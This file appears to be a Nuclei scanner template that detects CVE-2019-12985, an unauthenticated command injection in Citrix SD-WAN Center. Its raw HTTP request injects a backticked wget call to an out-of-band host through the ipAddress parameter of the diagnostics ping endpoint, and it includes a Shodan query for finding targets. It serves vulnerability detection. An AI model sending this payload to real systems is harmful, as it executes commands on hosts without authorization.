nuclei-templates/http/cves/2019/CVE-2019-12985.yaml

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id: CVE-2019-12985
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire Citrix SD-WAN Center infrastructure.
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remediation: |
Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/article/CTX251987
- https://nvd.nist.gov/vuln/detail/CVE-2019-12985
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12985
cwe-id: CWE-78
epss-score: 0.97438
epss-percentile: 0.9994
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cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 2
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vendor: citrix
product: netscaler_sd-wan
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shodan-query: http.title:"Citrix SD-WAN"
tags: cve,cve2019,citrix,rce,unauth,oast,tenable
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |
POST /Collector/diagnostics/ping HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ipAddress=%60/bin/wget+http://{{interactsh-url}}%60
matchers-condition: and
matchers:
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- type: dsl
dsl:
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a00483046022100dfd6b4614fe4f5f97fd092a668b78c31d22242a413508936334ede5c1c95c18b022100bd0b1bfe641913906014a456174b2df0f3ce710f348fd79c93b8f35879e66adc:922c64590222798bb761d5b6d8e72950